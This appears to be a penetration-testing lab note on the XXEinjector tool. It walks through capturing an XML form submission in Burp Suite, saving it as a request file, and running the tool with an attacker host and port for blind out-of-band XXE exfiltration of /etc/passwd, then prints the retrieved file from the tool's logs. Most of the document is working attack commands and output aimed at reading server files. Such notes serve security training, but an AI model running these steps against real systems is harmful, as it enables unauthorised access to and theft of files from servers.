XXEINJECTOR (AUTOMATED)

this tool automates a lot of XXE injections including basic XXE, CDATA source exfiltration, error-based XXE, and blind OOB XXE.

GitHub - enjoiz/XXEinjector: Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.GitHub

#Installation
root@oco:~$ git clone https://github.com/enjoiz/XXEinjector.git

#find web pages that accept an XML user input
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 input field: ...
 ...
 * submit the expected user input
 
BURP > Proxy > Intercept > Raw
 Request
  ...
  POST /blind/submitDetails.php HTTP/1.1
  Host: 10.129.73.189
  Content-Type: text/plain;charset=UTF-8
  Accept: */*
  Origin: http://10.129.73.189
  Referer: http://10.129.73.189/blind/
  Connection: close

  <?xml version="1.0" encoding="UTF-8"?>
   <root>
    <name>testName</name>
    <tel>1234567890</tel>
    <email>[e-mail]</email>
    <message>test msg</message>
   </root>

#copy the HTTP request from Burp and write it to a file for the tool to use
root@oco:~$ nano xxe.req
 POST /blind/submitDetails.php HTTP/1.1
 Host: 10.129.201.94
 Content-Length: 169
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
 Content-Type: text/plain;charset=UTF-8
 Accept: */*
 Origin: http://10.129.201.94
 Referer: http://10.129.201.94/blind/
 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en;q=0.9
 Connection: close

 <?xml version="1.0" encoding="UTF-8"?>
 XXEINJECT
 
 * DO NOT include the full XML data, only the first line, and write 
   XXEINJECT after it as a position locator for the tool

root@oco:~$ cd XXEInjector
root@oco:~$ ruby XXEinjector.rb --host={attackerIP} --httpport={attackerPort} --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
 [-] Multiple instances of XML found. It may results in false-positives.
 [+] Sending request with malicious XML.
 [+] Responding with XML for: /etc/passwd
 [+] Retrieved data:
 [+] Nothing else to do. Exiting.

root@oco:~$ ls
 Logs  README.md  XXEinjector.rb  xxe.req
 
root@oco:~$ ls -R Logs/
 Logs/:
  10.129.82.212

 Logs/10.129.82.212:
  etc

 Logs/10.129.82.212/etc:
  passwd.log
  
 * all exfiltrated files get stored in the Logs folder under the tool

root@oco:~$ cat Logs/10.129.82.212/etc/passwd.log
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
 systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
 messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
 syslog:x:104:110::/home/syslog:/usr/sbin/nologin
 _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
 tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
 uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
 tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
 landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
 pollinate:x:110:1::/var/cache/pollinate:/bin/false
 usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
 sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
 systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
 xxe:x:1000:1000:xxe:/home/xxe:/bin/bash
 lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false